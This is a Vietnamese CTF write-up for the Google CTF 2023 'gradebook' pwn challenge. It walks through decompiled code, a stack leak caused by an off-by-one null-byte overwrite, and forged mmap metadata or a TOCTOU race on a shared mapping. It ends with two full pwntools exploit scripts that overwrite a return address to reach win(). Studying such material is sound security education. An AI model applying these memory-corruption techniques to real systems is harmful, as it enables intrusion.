gradebook
Vulnerability: Chương trình giả sử rằng room chỉ có 3 ký tự, nhưng lại cho phép attacker nhập 4 ký tự, dẫn đến ghi đè null terminator và leak dữ liệu trên stack. Tiếp đến, chương trình tin rằng các metadata của file gradebook là hợp lệ, tuy nhiên attack có thể làm giả field head_offset, dẫn đến làm giả toàn bộ field khác, hoặc chỉnh sửa metadata sau khi đã load file do chia sẻ vùng nhớ -> đọc ghi tùy ý.
Recon
Mitigation
$ pwn checksec chal
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-gradebook/challenge/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled$ file chal
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e55478cfcc40c40793cf323e8beb0f594089b593, for GNU/Linux 3.2.0, strippedBinary bật full mitigation và đã bị stripped.
Code
Sau một lúc reverse mình có các struct như sau:
GradeBook struct
00000000 GradeBook struc ; (sizeof=0x60, align=0x8, mappedto_21)
00000000 id dd ?
00000004 year dd ?
00000008 last_name db 32 dup(?)
00000028 first_name db 32 dup(?)
00000048 file_size dq ?
00000050 head_offset dq ?
00000058 next_free_offset dq ?
00000060 GradeBook endsGradeEntry struct
00000000 GradeEntry struc ; (sizeof=0x40, align=0x8, mappedto_22)
00000000 class_id db 8 dup(?)
00000008 course db 22 dup(?)
0000001E grade dw ?
00000020 teacher db 12 dup(?)
0000002C room dd ?
00000030 period dq ?
00000038 next_offset dq ?
00000040 GradeEntry endsmain()
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char password[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
print("\nWELCOME TO THE GOOGLE PUBLIC SCHOOL DISTRICT DATANET\n\nPLEASE LOGON WITH USER PASSWORD:\n");
__isoc99_scanf("%30s", password);
if ( !strcmp(password, "pencil") )
{
print("\nPASSWORD VERIFIED\n\n");
while ( 1 )
{
if ( gradeBook )
file_opened();
else
file_not_opened();
}
}
print("\nACCESS DENIED\n");
return 0LL;
}Nhập password là “pencil” để tiếp tục.
file_not_opened()
unsigned __int64 file_not_opened()
{
int i; // [rsp+0h] [rbp-100h]
int choice; // [rsp+4h] [rbp-FCh]
unsigned __int64 j; // [rsp+8h] [rbp-F8h]
struct stat buf; // [rsp+10h] [rbp-F0h] BYREF
_BYTE random_bytes[16]; // [rsp+A0h] [rbp-60h] BYREF
char filename[8]; // [rsp+B0h] [rbp-50h] BYREF
__int64 v7; // [rsp+B8h] [rbp-48h]
__int64 v8; // [rsp+C0h] [rbp-40h]
__int64 v9; // [rsp+C8h] [rbp-38h]
__int64 v10; // [rsp+D0h] [rbp-30h]
__int64 v11; // [rsp+D8h] [rbp-28h]
__int64 v12; // [rsp+E0h] [rbp-20h]
__int64 v13; // [rsp+E8h] [rbp-18h]
unsigned __int64 v14; // [rsp+F8h] [rbp-8h]
v14 = __readfsqword(0x28u);
print("MENU:\n");
print("1. OPEN STUDENT FILE\n");
print("2. UPLOAD STUDENT FILE\n");
print("3. QUIT\n");
print("\n");
choice = input_n();
*(_QWORD *)filename = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
switch ( choice )
{
case 1:
if ( is_invalid(filename) )
{
print("INVALID NAME\n");
}
else
{
gradebook_fd = open(filename, 2);
if ( gradebook_fd >= 0 )
{
if ( fstat(gradebook_fd, &buf) >= 0 )
{
global_file_size = buf.st_size;
gradeBook = (GradeBook *)mmap((void *)0x4752ADE50000LL, buf.st_size, 3, 1, gradebook_fd, 0LL);
if ( gradeBook == (GradeBook *)0x4752ADE50000LL )
{
if ( global_file_size < MEMORY[0x4752ADE50048]
|| gradeBook->file_size < gradeBook->next_free_offset
|| gradeBook->next_free_offset <= 0x5FuLL )
{
puts("GRADEBOOK CORRUPTED");
remove();
}
}
else
{
remove();
print("ERROR\n");
}
}
else
{
close(gradebook_fd);
print("ERROR\n");
}
}
else
{
print("ERROR\n");
}
}
break;
case 2:
if ( is_invalid(filename) )
{
print("FILE NOT FOUND. GENERATING RANDOM NAME.\n");
strcpy(filename, src);
getrandom(random_bytes, 16LL, 0LL);
for ( i = 0; i <= 15; ++i )
{
filename[2 * i + 12] = hex_chars[random_bytes[i] >> 4];
filename[2 * i + 13] = hex_chars[random_bytes[i] & 0xF];
}
BYTE4(v11) = 0;
print("GENERATED FILENAME: ");
print((unsigned __int8 *)filename);
print("\n");
}
write_file(filename);
break;
case 3:
exit(0);
case 1337:
print("WELCOME PROFESSOR FALKEN. LET'S PLAY A GAME OF RUSSIAN ROULETTE.\n");
__isoc99_scanf("%c", &random_bytes[1]);
for ( j = 0LL; j <= 999; ++j )
{
__isoc99_scanf("%c", &random_bytes[1]);
getrandom(random_bytes, 1LL, 0LL);
if ( random_bytes[0] <= 41u )
{
print("... *BAM!*\n-- CONNECTION TERMINATED --\n");
exit(0);
}
print("... *click*\n");
}
win();
}
return v14 - __readfsqword(0x28u);
}Option 1 cho phép mình ánh xạ file vào địa chỉ cụ thể là 0x4752ADE50000 (ảo) bao gồm kích thước file buf.st_size, quyền truy cập 3 (read + write), cờ 1 (MAP_SHARED), fd và offset 0. Vì ko có cờ MAX_FIXED, địa chỉ 0x4752ADE50000 chỉ là một gợi ý cho kernel. Kernel sẽ cố gắng cấp phát gần với vùng này nếu có thể, vì thế ko đảm bảo chính xác vị trí.
Với MAP_SHARED, process truy cập trực tiếp vào nguồn dữ liệu gốc. Khi ghi vào vùng nhớ được ánh xạ, các thay đổi được ghi vào page cache trong RAM trước (cache lại những dữ liệu được truy cập thường xuyên từ bộ nhớ ngoài vào RAM). Sau đó kernel sẽ quyết định thời điểm flush dữ liệu từ RAM xuống bộ nhớ ngoài.
Chương trình kiểm tra tính hợp lệ của gradebook bằng:
- Được kernel map chính xác vào địa chỉ 0x4752ADE50000.
- Kích cỡ file thực tế st_size phải >= gradeBook->file_size.
- gradeBook->file_size >= gradeBook->next_free_offset, tránh tạo gradeEntry mới vượt ngoài vùng được ánh xạ.
- gradeBook->next_free_offset > 0x5F, tránh tạo gradeEntry mới đè vào các trường của gradebook.
Option 2 thì cho phép mình upload một gradebook tùy ý.
Option 3 chơi russian roulette, khả năng thắng là siêu thấp :v
file_opened()
int file_opened()
{
int choice; // eax
size_t i; // [rsp+10h] [rbp-10h]
GradeEntry *gradeEntry; // [rsp+18h] [rbp-8h]
print("\n\n ");
print_n(gradeBook->year);
print(", STUDENT NAME: ");
sub_158B(gradeBook->first_name, 32LL);
print(", ");
sub_158B(gradeBook->last_name, 32LL);
print("\n\n\n\n");
print(" CLASS # COURSE TITLE GRADE TEACHER PERIOD ROOM\n");
print(byte_3260);
grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))print_grade);
print(newlines);
print("MENU:\n");
print("1. ADD GRADE\n");
print("2. UPDATE GRADE\n");
print("3. REMOVE GRADE\n");
print("4. DOWNLOAD GRADEBOOK\n");
print("5. CLOSE GRADEBOOK\n");
print("6. QUIT\n");
print("\n");
choice = input_n();
switch ( choice )
{
case 1:
if ( gradeBook->file_size >= (unsigned __int64)(gradeBook->next_free_offset + 64LL) )
{
gradeEntry = (GradeEntry *)((char *)gradeBook + gradeBook->next_free_offset);
print("CLASS:\n");
__isoc99_scanf("%8s", gradeEntry);
print("COURSE TITLE:\n");
__isoc99_scanf(" %22[^\n]", gradeEntry->course);
print("GRADE:\n");
__isoc99_scanf("%2s", &gradeEntry->grade);
print("TEACHER:\n");
__isoc99_scanf("%12s", gradeEntry->teacher);
print("ROOM:\n");
__isoc99_scanf("%4s", &gradeEntry->room);
print("PERIOD:\n");
gradeEntry->period = input_n();
gradeEntry->next_offset = 0LL;
grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))add_grade);
choice = (int)gradeBook;
gradeBook->next_free_offset += 64LL;
}
else
{
return print("GRADEBOOK FULL\n");
}
break;
case 2:
print("WHICH GRADE:\n");
grade_idx = input_n();
return grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))update_grade);
case 3:
print("WHICH GRADE:\n");
grade_idx = input_n();
return grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))remove_grade);
case 4:
print(newlines);
for ( i = 0LL; i < global_file_size; ++i )
sub_14A8(*((_BYTE *)&gradeBook->id + i));
return print(newlines);
case 5:
return remove();
case 6:
exit(0);
}
return choice;
}Chương trình tổ chức các gradeEntry theo dạng link list sử dụng offset thay vì con trỏ. Nên với mỗi option 1,2,3, grade_iter được dùng để duyệt qua các grade và gọi con trỏ hàm tương ứng.
grade_iter()
int __fastcall grade_iter(__int64 (__fastcall *func)(_QWORD *, __int64))
{
__int64 idx; // rax
_QWORD *next_offset; // [rsp+10h] [rbp-10h]
__int64 next_free_idx; // [rsp+18h] [rbp-8h]
next_offset = &gradeBook->head_offset;
next_free_idx = 1LL;
while ( *next_offset )
{
if ( *next_offset >= gradeBook->file_size || gradeBook->file_size < (unsigned __int64)(*next_offset + 64LL) )
{
puts("GRADEBOOK CORRUPTED");
return remove();
}
idx = next_free_idx++;
func(next_offset, idx);
next_offset = &gradeBook->first_name[*next_offset + 16];
}
return func(next_offset, next_free_idx);
}Tại đây tiếp tục so sánh giá trị gradeEntry->next_offset và gradeBook->file_size để tránh corrupt.
print_grade()
unsigned __int64 __fastcall print_grade(_QWORD *next_offset)
{
GradeEntry *gradeEntry; // [rsp+10h] [rbp-60h]
unsigned __int8 buf[3]; // [rsp+18h] [rbp-58h] BYREF
char v4[9]; // [rsp+1Bh] [rbp-55h] BYREF
char v5[23]; // [rsp+24h] [rbp-4Ch] BYREF
char v6[7]; // [rsp+3Bh] [rbp-35h] BYREF
char v7[13]; // [rsp+42h] [rbp-2Eh] BYREF
char v8[8]; // [rsp+4Fh] [rbp-21h] BYREF
unsigned __int8 v9[17]; // [rsp+57h] [rbp-19h] BYREF
unsigned __int64 v10; // [rsp+68h] [rbp-8h]
v10 = __readfsqword(0x28u);
if ( *next_offset )
{
gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);
memset(buf, ' ', 72uLL);
v9[3] = 0;
sub_1DBD(buf, " ", 3LL);
sub_1DBD((unsigned __int8 *)v4, gradeEntry->class_id, 8LL);
sub_1DBD((unsigned __int8 *)v5, gradeEntry->course, 22LL);
sub_1DBD((unsigned __int8 *)v6, (unsigned __int8 *)&gradeEntry->grade, 2LL);
sub_1DBD((unsigned __int8 *)v7, gradeEntry->teacher, 12LL);
sub_1E0F((unsigned __int8 *)v8, gradeEntry->period, 4LL);
sub_1DBD(v9, (unsigned __int8 *)&gradeEntry->room, 4LL);// overwrite null byte -> leak stack data
print(buf);
print("\n");
}
return v10 - __readfsqword(0x28u);
}update_grade()
unsigned __int64 __fastcall update_grade(_QWORD *next_offset, __int64 idx)
{
GradeEntry *gradeEntry; // [rsp+18h] [rbp-18h]
__int64 new_grade; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( *next_offset && idx == grade_idx )
{
gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);
new_grade = 0LL;
print("NEW GRADE:\n");
__isoc99_scanf("%2s", &new_grade);
gradeEntry->grade = new_grade;
}
return v5 - __readfsqword(0x28u);
}Unintended Solution (My Solve)
Ban đầu, mục tiêu của mình là làm sao có được AAR bằng cách lợi dụng hàm print_grade(), có được AAW bằng cách lợi dụng option 1 khi add grade.
Để có được AAR, mình cần điều khiển được giá trị next_offset tại:
gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);
Để có được AAW, mình cần điều khiển được giá trị gradeBook->next_free_offset tại:
gradeEntry = (GradeEntry *)((char *)gradeBook + gradeBook->next_free_offset);
Tuy nhiên, mình cần phải bypass được các checks corrupted gradebook so sánh với gradeBook->file_size.
Nhìn ở option 1 khi load file:
if ( gradeBook == (GradeBook *)0x4752ADE50000LL )
{
if ( global_file_size < MEMORY[0x4752ADE50048]
|| gradeBook->file_size < gradeBook->next_free_offset
|| gradeBook->next_free_offset <= 0x5FuLL )
{
puts("GRADEBOOK CORRUPTED");
remove();
}
}gradeBook->file_size và gradeBook->next_free_offset đều bị check nghiêm ngặt, nên ko thể điều khiển chúng ngay từ ban đầu.
Nhưng gradeBook->head_offset thì ko bị check. Mà việc loop qua các gradeEntry trong grade_iter() lại phụ thuộc vào gradeBook->head_offset. Nên ý tưởng của mình đó là kiểm soát giá trị gradeBook->head_offset khi upload file sao cho trường grade của gradeEntry đầu tiên trùng với gradeBook->next_free_offset, sau đó sử dụng update_grade() để kiểm soát gradeBook->next_free_offset.
Tiếp tục, kiểm soát gradeBook->next_free_offset sao cho việc cấp gradeEntry mới sẽ cho phép mình ghi đè và kiểm soát file_size, head_offset, next_free_offset. Dẫn đến bypass được các checks corrupted gradebook và có khả năng AAR và AAW.
AAW thì ok rồi, nhưng mà AAR thì vẫn mắc tại vì mình ko có offset từ vùng được map đến các nơi khác trong bộ nhớ như binary, stack, libc,…
Sau một hồi vọc vạch, mình thử add grade và nhập toàn A để thử xem có overflow gì ko:

Mình phát hiện ra thứ có vẻ như là địa chỉ stack bởi nó kết thúc bằng byte 0x7f.
Nhìn vào print_grade():
if ( *next_offset )
{
gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);
memset(buf, ' ', 72uLL);
v9[3] = 0;
sub_1DBD(buf, " ", 3LL);
...
sub_1DBD(v9, (unsigned __int8 *)&gradeEntry->room, 4LL);
print(buf);
print("\n");
}Có vẻ như chương trình giả định rằng gradeEntry->room sẽ chỉ có 3 ký tự, nên đặt v9[3] = 0 để ngắt chuỗi, tuy nhiên đối số len được truyền vào là 4, ghi đè vào null byte, khiến cho việc đọc dữ liệu vượt ra ngoài gradeEntry->room, leak giá trị trên stack.
Khi đã có được địa chỉ stack, việc còn lại khá là straight forward:
- Ghi đè gradeBook->head_offset đến vị trí nào đó trên stack, dùng print_grade() để leak địa chỉ binary, bypass PIE, tính toán được địa chỉ hàm win().
- Ghi đè gradeBook->next_free_offset đến gần vị trí return address của hàm file_opened(), dùng option 1 add grade, ghi đè return address để chuyển luồng thực thi đến win().
- Lợi nhuận.
Script
#!/usr/bin/env python3
from pwn import *
import os
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# breakrva 0x1E83
# breakrva 0x2397
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 36349
return remote(host, port)
if args.LOCAL:
os.system('rm -rf /tmp/grades*')
def sign_in(p):
print("Signing in...")
sla(p, b'PASSWORD', b'pencil')
def open_file(p, filename):
print(f"Opening file: {filename}...")
sln(p, 1)
sla(p, b'FILENAME', filename.encode())
def create_file(p, gradebook):
sln(p, 2)
sla(p, b'FILENAME', b'A')
ru(p, b'GENERATED FILENAME:')
filename = rl(p).strip().decode()
print(f"Creating file: {filename}...")
slan(p, b'SIZE', len(gradebook))
sa(p, b'DATA', gradebook)
return filename
def add_grade(p, class_, course, grade, teacher, room, period):
print("Adding grade...")
slan(p, b'QUIT', 1)
sla(p, b'CLASS:', class_)
sla(p, b'TITLE', course)
sla(p, b'GRADE', grade)
sla(p, b'TEACHER', teacher)
sla(p, b'ROOM', room)
slan(p, b'PERIOD', period)
def update_grade(p, idx, grade):
print("Updating grade...")
slan(p, b'QUIT', 2)
slan(p, b'WHICH GRADE', idx)
sla(p, b'NEW GRADE', grade)
def close_gradebook(p):
slan(p, b'QUIT', 5)
print("Gradebook closed")
with open('gradebook', 'rb') as f:
gradebook = f.read()
mmap_base = 0x4752ade50000
p = conn()
sign_in(p)
open_file(p, create_file(p, gradebook))
print("Leaking stack address...")
add_grade(p, b'class', b'course', b'A+', b'teacher', b'room', 0)
ru(p, b'room' + pad(5, b' '))
stack = leak_bytes(rn(p, 6))
lg('Stack address', stack)
gradebook = bytearray(gradebook)
head_offset_offset = 0x50
# Set head_offset = 0x3a
# Update grade entry index 1 -> write to next_free_offset
lg("Set head_offset", 0x3a)
gradebook[head_offset_offset:head_offset_offset + 8] = p64(0x3a)
close_gradebook(p)
open_file(p, create_file(p, gradebook))
# Set next_free_offset = 0x48
# Add grade -> write to file_size, head_offset, next_free_offset
lg("Set next_free_offset", 0x48)
update_grade(p, 1, p64(0x48))
first_grade = stack - 0x1b0
lg("First grade offset", first_grade)
lg("Set head_offset", first_grade - mmap_base)
print("Leaking binary address...")
add_grade(p,
# file_size
pad(8, b'\xff'),
# head_offset, next_free_offset
p64(first_grade - mmap_base) + p64(0),
b'A', b'A', b'A', 0
)
ru(p, b'\x94\n ')
exe.address = leak_bytes(rn(p, 6), 0x21ff)
lg('Binary base', exe.address)
win = exe.address + 0x193D
lg('win()', win)
close_gradebook(p)
open_file(p, create_file(p, gradebook))
lg("Set next_free_offset", 0x48)
update_grade(p, 1, p64(0x48))
ret = stack - 0x150
lg('Return address at', ret)
next_free_offset = ret - mmap_base - 0x50
lg('Set next_free_offset', next_free_offset)
# For some reasons, -0x50 works, though it should be -0x40
add_grade(p,
# file_size
pad(8, b'\xff'),
# head_offset, next_free_offset
p64(0x400) + p64(next_free_offset),
b'A', b'A', b'A', 0
)
print("Overwrite return address...")
add_grade(p, p64(stack - 0x160), pad(8) + p64(win), b'A', b'A', b'A', 0)
print("Return to system('cat /flag')")
ru(p, b'CTF')
print(f"Flag: CTF{rl(p).strip().decode()}")Intended Solution
Intended solution của bài này khác với solution của mình ở việc bypass các checks để fake các trường file_size, head_offset, next_free_offset, bằng cách lợi dụng toc-tou. Đơn giản hơn nhiều so với cách của mình.
Flag MAP_SHARED khi mmap() đặc biệt ở chỗ là khi 2 process cùng map vào vùng đó, nếu process này thực hiện ghi, thì process kia cũng sẽ đọc được dữ liệu đó. Mình lợi dụng điều này thực hiện toc-tou:
- Upload và mở 1 file gradebook bình thường ở process 1.
- Ở process 2, ghi vào file gradebook cùng tên để kiểm soát các trường quan trọng.
- Process 1 đã pass các checks khi mở file nên bây giờ sẽ sử dụng các giá trị mình đã kiểm soát. -> Cũng AAR, AAW trên stack để return về win() là xong.
Script
#!/usr/bin/env python3
from pwn import *
import os
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# breakrva 0x1E83
# breakrva 0x2397
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 42297
return remote(host, port)
if args.LOCAL:
os.system('rm -rf /tmp/grades*')
def sign_in(p):
print("Signing in...")
sla(p, b'PASSWORD', b'pencil')
def open_file(p, filename):
print(f"Opening file: {filename}...")
sln(p, 1)
sla(p, b'FILENAME', filename.encode())
def create_file(p, gradebook):
sln(p, 2)
sla(p, b'FILENAME', b'A')
ru(p, b'GENERATED FILENAME:')
filename = rl(p).strip().decode()
print(f"Creating file: {filename}...")
slan(p, b'SIZE', len(gradebook))
sa(p, b'DATA', gradebook)
return filename
def write_file(p, filename, gradebook):
sln(p, 2)
sla(p, b'FILENAME', filename.encode())
print(f"Writing file: {filename}...")
slan(p, b'SIZE', len(gradebook))
sa(p, b'DATA', gradebook)
def add_grade(p, class_, course, grade, teacher, room, period):
print("Adding grade...")
slan(p, b'QUIT', 1)
sla(p, b'CLASS:', class_)
sla(p, b'TITLE', course)
sla(p, b'GRADE', grade)
sla(p, b'TEACHER', teacher)
sla(p, b'ROOM', room)
slan(p, b'PERIOD', period)
def update_grade(p, idx, grade):
print("Updating grade...")
slan(p, b'QUIT', 2)
slan(p, b'WHICH GRADE', idx)
sla(p, b'NEW GRADE', grade)
def download_gradebook(p):
slan(p, b'QUIT', 4)
print("Downloading gradebook...")
def close_gradebook(p):
slan(p, b'QUIT', 5)
print("Gradebook closed")
with open('gradebook', 'rb') as f:
gradebook_origin = f.read()
mmap_base = 0x4752ade50000
p = conn()
sign_in(p)
filename = create_file(p, gradebook_origin)
open_file(p, filename)
print("Leaking stack address...")
add_grade(p, b'class', b'course', b'A+', b'teacher', b'room', 0)
ru(p, b'room' + pad(5, b' '))
stack = leak_bytes(rn(p, 6))
lg('Stack address', stack)
first_grade = stack - 0x1b0
lg("First grade offset", first_grade)
lg("Set head_offset", first_grade - mmap_base)
gradebook = bytearray(gradebook_origin)
file_size = 0x48
head_offset = 0x50
gradebook[file_size:file_size + 8] = pad(8, b'\xff')
gradebook[head_offset:head_offset + 8] = p64(first_grade - mmap_base)
p1 = conn()
sign_in(p1)
write_file(p1, filename, gradebook)
print("Leaking binary address...")
download_gradebook(p)
ru(p, b'\x94\n ')
exe.address = leak_bytes(rn(p, 6), 0x21ff)
lg('Binary base', exe.address)
win = exe.address + 0x193D
lg('win()', win)
close_gradebook(p)
filename = create_file(p, gradebook_origin)
open_file(p, filename)
ret = stack - 0x150
lg('Return address at', ret)
next = ret - mmap_base
lg('Set next_free_offset', next)
next_free_offset = 0x58
gradebook[next_free_offset:next_free_offset + 8] = p64(next)
write_file(p1, filename, gradebook)
print("Overwrite return address...")
add_grade(p, p64(win), b'A', b'A', b'A', b'A', 0)
print("Return to system('cat /flag')")
ru(p, b'CTF')
print(f"Flag: CTF{rl(p).strip().decode()}")